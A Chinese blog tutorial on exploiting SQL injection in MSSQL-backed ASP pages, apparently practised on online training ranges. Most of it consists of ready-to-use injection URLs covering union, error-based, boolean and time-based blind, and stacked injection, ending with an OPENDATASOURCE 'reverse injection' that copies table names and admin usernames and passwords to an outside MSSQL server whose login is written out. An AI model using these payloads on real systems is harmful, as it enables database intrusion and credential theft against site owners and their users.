百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术教程 > 正文

「渗透测试」在渗透测试过程中遇到了MSSQL数据库,教你注入利用

mhr18 2025-03-02 18:04 26 浏览 0 评论

前言

在渗透测试过程中遇到了MSSQL数据库,市面上也有一些文章,不过大多数讲述的都是如何快速利用注入漏洞getshell的,对于MSSQL数据库的注入漏洞没有很详细地描述。在这里我查阅了很多资料,希望在渗透测试过程中遇到了MSSQL数据库能够相对友好地进行渗透测试,文章针对实战性教学,在概念描述方面有不懂的还请自行百度,谢谢大家~

注入前准备

1、确定注入点

http://219.153.49.228:40574/new_list.asp?id=2 and 1=1
http://219.153.49.228:40574/new_list.asp?id=2 and 1=2

2、判断是否为mssql数据库

sysobjects为mssql数据库中独有的数据表,此处页面返回正常即可表示为mssql数据库。

http://219.153.49.228:40574/new_list.asp?id=2 and (select count(*) from sysobjects)>0


还可以通过MSSQL数据库中的延时函数进行判断,当语句执行成功,页面延时返回即表示为MSSQL数据库。

http://219.153.49.228:40574/new_list.asp?id=2;WAITFOR DELAY '00:00:10'; -- asd

3、相关概念

系统自带库

MSSQL安装后默认带了6个数据库,其中4个系统级库:master,model,tempdb和msdb;2个示例库:Northwind Traders和pubs。
这里了解一下系统级库:

master:主要为系统控制数据库,其中包括了所有配置信息、用户登录信息和当前系统运行情况。
model:模版数据库
tempdb:临时容器
msdb:主要为用户使用,所有的告警、任务调度等都在这个数据库中。

系统自带表

MSSQL数据库与Mysql数据库一样,有安装自带的数据表sysobjects和syscolumns等,其中需要了解的就是这两个数据表。

sysobjects:记录了数据库中所有表,常用字段为id、name和xtype。
syscolumns:记录了数据库中所有表的字段,常用字段为id、name和xtype。

就如字面意思所述,id为标识,name为对应的表名和字段名,xtype为所对应的对象类型。一般我们使用两个,一个’U’为用户所创建,一个’S’为系统所创建。其他对象类型如下:

对象类型:
AF = 聚合函数 (CLR)
C = CHECK 约束
D = DEFAULT(约束或独立)
F = FOREIGN KEY 约束
FN = SQL 标量函数
FS = 程序集 (CLR) 标量函数
FT = 程序集 (CLR) 表值函数
IF = SQL 内联表值函数
IT = 内部表
P = SQL 存储过程
PC = 程序集 (CLR) 存储过程
PG = 计划指南
PK = PRIMARY KEY 约束
R = 规则(旧式,独立)
RF = 复制筛选过程
S = 系统基表
SN = 同义词
SQ = 服务队列
TA = 程序集 (CLR) DML 触发器
TF = SQL 表值函数
TR = SQL DML 触发器
U = 表(用户定义类型)
UQ = UNIQUE 约束
V = 视图
X = 扩展存储过程

排序&获取下一条数据

mssql数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,后面与Oracle数据库注入一样,使用<>或not in 来排除已经显示的数据,获取下一条数据。但是与Oracle数据库不同的是使用not in的时候后面需要带上(‘’),类似数组,也就是不需要输入多个not in来获取数据,这可以很大程序减少输入的数据量,如下:

#使用<>获取数据
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'-- qwe
#使用not in获取数据
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name not in ('id','username')-- qwe

堆叠注入

在SQL中,执行语句是通过;分割的,如果我们输入的;被数据库带入执行,那么就可以在其后加入sql执行语句,导致多条语句一起执行的注入,我们将其命名为堆叠注入。具体情况如下,很明显两条语句都进行了执行。

http://192.168.150.4:9001/less-1.asp?id=1';WAITFOR DELAY '0:0:5';-- qwe

显错注入

1、判断当前字段数

http://219.153.49.228:40574/new_list.asp?id=2 order by 4
http://219.153.49.228:40574/new_list.asp?id=2 order by 5

通过order by报错情况,可以判断出当前字段为4。

2、联合查询,获取显错点

1、首先因为不知道具体类型,所以还是先用null来填充字符

http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,null,null,null -- qwe

2、替换null为’null’,获取显错点

http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'null','null',null -- qwe

当第一个字符设置为字符串格式时,页面报错,很明显这个就是id了,为整型字符。

http://219.153.49.228:40574/new_list.asp?id=-2 union all select 'null','null','null',null -- qwe

3、通过显错点获取数据库信息

1、获取数据库版本

http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select @@version),null -- qwe

2、查询当前数据库名称
通过查询db_name(
)里的内容,获取所有数据库库名

http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name()),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(1)),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(2)),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(3)),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(4)),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(5)),null -- qwe

3、查询当前用户

http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select user),null -- qwe

4、查询表名

查询dbo.sysobjects表中用户创建的表,获取其对应的id和name

http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,id,name,null from dbo.sysobjects where xtype='U' -- qwe

查询下一个表名

#使用<>获取下一条数据
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id <> 5575058 -- qwe
#使用not in获取下一条数据
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id not in ('5575058') -- qwe

5、查询列名

这里有个坑,查询列名的时候因为已经知道了表名的id值,所以where只需要使用id即可,不再需要xtype了。

http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058'-- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name not in ('id','username')-- qwe

6、information_schema

值得一提的是,除了借助sysobjects表和syscolumns表获取表名、列名外,mssql数据库中也兼容information_schema,里面存放了数据表表名和字段名,但是查询的数据好像存在一些问题,只查询到了manager表。

http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select top 1 table_name from information_schema.tables where table_name <> 'manager'),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select top 1 column_name from information_schema.columns where table_name = 'manage' ),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select top 1 column_name from information_schema.columns where table_name = 'manage' and column_name not in ('id','username')),null -- qwe

7、获取数据

http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,username,password,null from manage-- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,username,password,null from manage where username <> 'admin_mz'-- qwe

解密获取密码

报错注入

mssql数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。

1、直接报错

等号两边数据类型不一致配合子查询获取数据。

#获取数据库库名
?id=1' and 1=(select db_name()) -- qwe
#获取第一个表名
?id=1' and 1=(select top 1 name from dbo.sysobjects) -- qwe
#将数据连接显示
?id=1'  and 1=stuff((select db_name() for xml path('')),1,0,'')--+

2、convert()函数

convert(int,db_name()),将第二个参数的值转换成第一个参数的int类型。

具体用法如下:

#获取数据库库名
?id=1' and 1=convert(int,(select db_name())) -- qwe
#获取数据库版本
?id=1' and 1=convert(int,(select @@version))) -- qwe

3、cast()函数

CAST(expression AS data_type),将as前的参数以as后指定了数据类型转换。

具体用法如下:

#查询当前数据库
?id=1' and 1=(select cast(db_name() as int)) -- qe
#查询第一个数据表
?id=1' and 1=(select top 1 cast(name as int) from dbo.sysobjects) -- qe

4、数据组合输出

#将数据表组合输出
?id=1' and 1=stuff((select quotename(name) from dbo.sysobjects  for xml path('')),1,0,'')--+
#查询users表中的用户名并组合输出
?id=1'  and 1=stuff((select quotename(username) from users for xml path('')),1,0,'')--+

布尔盲注

1、查询数据库库名

1、查询数据库库名长度为11

http://219.153.49.228:40768/new_list.asp?id=2 and len((select top 1 db_name()))=11

2、查询第一个字符的ascii码为109

http://219.153.49.228:40768/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),1,1))=109
http://219.153.49.228:40768/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),1,1))>109

3、查询第二个字符的ascii码为111

http://219.153.49.228:40768/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),2,1))=111

4、获取所有ascii码之后,解码获取数据

2、查询表名

除了像上面查询库名使用了ascii码外,还可以直接猜解字符串

http://219.153.49.228:40768/new_list.asp?id=2 and substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1)='m'
http://219.153.49.228:40768/new_list.asp?id=2 and substring((select top 1 name from dbo.sysobjects where xtype='U'),1,6)='manage'

延时盲注

1、延时函数 WAITFOR DELAY

语法:n表示延时几秒
WAITFOR DELAY '0:0:n'id=1 if (布尔盲注的判断语句) WAITFOR DELAY '0:0:5' -- qwe

2、查询数据

#判断如果第一个库的库名的第一个字符的ascii码为109,则延时5秒
http://219.153.49.228:40768/new_list.asp?id=2 if (ascii(substring((select top 1 db_name()),1,1))=109) WAITFOR DELAY '0:0:5' -- qwe
#判断如果第一个表的表名的第一个字符为m,则延时5秒
http://219.153.49.228:40768/new_list.asp?id=2 if (substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1)='m') WAITFOR DELAY '0:0:5' -- qwe

反弹注入

就像在Mysql中可以通过dnslog外带,Oracle可以通过python搭建一个http服务器接收外带的数据一样,在MSSQL数据库中,我们同样有方法进行数据外带,那就是通过反弹注入外带数据。
反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。
反弹注入需要使用opendatasource函数。

OPENDATASOURCE(provider_name,init_string):使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。

1、环境准备

1、首先打开靶场

3、连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。这里因为我想查询的是数据库库名,所以新建一个表里面只有一个字段,类型为varchar。

CREATE TABLE test(name VARCHAR(255))

2、获取数据库所有表

1、使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。

#查询sysobjects表
?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' -- qwe
#查询information_schema数据库
?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables -- qwe

2、执行成功页面返回正常。

3、在数据库中成功获取到数据。

3、获取数据库admin表中的所有列名

#查询information_schema数据库
?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'-- qwe
#查询syscolumns表
?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079-- qwe

4、获取数据

1、首先新建一个表,里面放三个字段,分别是id,username和passwd。

CREATE TABLE data(id INT,username VARCHAR(255),passwd VARCHAR(255))

2、获取admin表中的数据

?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.data select id,username,passwd from  admin -- qwe

总结

完成这篇文章共费时1周,主要花时间在环境搭建以及寻找在线靶场。全文从显错注入、报错注入到盲注和反弹注入,几乎涵盖了所有MSSQL注入类型,若有所遗漏还请联系我,我必将在原文基础上进行改进。因为能力有限,本文未进行太多了原理描述,也因为SQL注入原理市面上已经有很多文章进行了讲解,所以文章最终以实战注入作为重心开展,讲述找寻到注入点后在如何在多种情况下获取数据。靶场采用墨者学院、掌控安全,以及MSSQL-sqli-labs靶场,实际攻击时还需要考虑waf绕过等,后续会计划完成一篇针对waf绕过和提权getshell的文章,敬请期待~

有需要相关学习资料的朋友可以关注私信我哦!!!

相关推荐

【预警通报】关于WebLogic存在远程代码执行高危漏洞的预警通报

近日,Oracle官方发布了2021年1月关键补丁更新公告CPU(CriticalPatchUpdate),共修复了包括CVE-2021-2109(WeblogicServer远程代码执行漏洞)...

医院信息系统突发应急演练记录(医院信息化应急演练)

信息系统突发事件应急预案演练记录演练内容信息系统突发事件应急预案演练参与人员信息科参与科室:全院各部门日期xxxx-xx-xx时间20:00至24:00地点信息科记录:xxx1、...

一文掌握怎么利用Shell+Python实现完美版的多数据源备份程序

简介:在当今数字化时代,无论是企业还是个人,数据的安全性和业务的连续性都是至关重要的。数据一旦丢失,可能会造成无法估量的损失。因此,如何有效地对分布在不同位置的数据进行备份,尤其是异地备份,成为了一个...

docker搭建系统环境(docker搭建centos)

Docker安装(CentOS7)1.卸载旧版Docker#检查已安装版本yumlistinstalled|grepdocker#卸载旧版本yumremove-ydocker.x...

基础篇:数据库 SQL 入门教程(sql数据库入门书籍推荐)

SQL介绍什么是SQLSQL指结构化查询语言,是用于访问和处理数据库的标准的计算机语言。它使我们有能力访问数据库,可与多种数据库程序协同工作,如MSAccess、DB2、Informix、M...

Java21杀手级新特性!3行代码性能翻倍

导语某券商系统用这招,交易延迟从12ms降到0.8ms!本文揭秘Oracle官方未公开的Record模式匹配+虚拟线程深度优化+向量API神操作,代码量直降70%!一、Record模式匹配(代码量↓8...

一文读懂JDK21的虚拟线程(java虚拟线程)

概述JDK21已于2023年9月19日发布,作为Oracle标准Java实现的一个LTS版本发布,发布了15想新特性,其中虚拟线程呼声较高。虚拟线程是JDK21中引入的一项重要特性,它是一种轻量级的...

效率!MacOS下超级好用的Linux虚拟工具:Lima

对于MacOS用户来说,搭建Linux虚拟环境一直是件让人头疼的事。无论是VirtualBox还是商业的VMware,都显得过于笨重且配置复杂。今天,我们要介绍一个轻巧方便的纯命令行Linux虚拟工具...

所谓SaaS(所谓三维目标一般都应包括)

2010年前后,一个科技媒体的主编写一些关于云计算的概念性问题,就可以作为头版头条了。那时候的云计算,更多的还停留在一些概念性的问题上。而基于云计算而生的SaaS更是“养在深闺人未识”,一度成为被IT...

ORA-00600 「25027」 「x」报错(报错0xc0000001)

问题现象:在用到LOB大对象的业务中,进行数据的插入,失败了,在报警文件中报错:ORA-00600:内部错误代码,参数:[25027],[10],[0],[],[],[],[],[...

安卓7源码编译(安卓源码编译环境lunch失败,uname命令找不到)

前面已经下载好源码了,接下来是下载手机对应的二进制驱动执行编译源码命令下载厂商驱动https://developers.google.com/android/drivers?hl=zh-cn搜索NGI...

编译安卓源码(编译安卓源码 电脑配置)

前面已经下载好源码了,接下来是下载手机对应的二进制驱动执行编译源码命令下载厂商驱动https://developers.google.com/android/drivers?hl=zh-cn搜索NGI...

360 Vulcan Team首战告捷 以17.5万美金强势领跑2019“天府杯“

2019年11月16日,由360集团、百度、腾讯、阿里巴巴、清华大学与中科院等多家企业和研究机构在成都联合主办了2019“天府杯”国际网络安全大赛暨2019天府国际网络安全高峰论坛。而开幕当日最激荡人...

Syslog 日志分析与异常检测技巧(syslog发送日志配置)

系统日志包含有助于分析网络设备整体运行状况的重要信息。然而,理解并从中提取有效数据往往颇具挑战。本文将详解从基础命令行工具到专业日志管理软件的全流程分析技巧,助你高效挖掘Syslog日志价值。Gr...

从Oracle演进看数据库技术的发展(从oracle演进看数据库技术的发展的过程)

数据库技术发展本质上是应用需求驱动与基础架构演进的双向奔赴,如何分析其技术发展的脉络和方向?考虑到oracle数据库仍然是这个领域的王者,以其为例,管中窥豹,对其从Oracle8i到23ai版本的核...

取消回复欢迎 发表评论: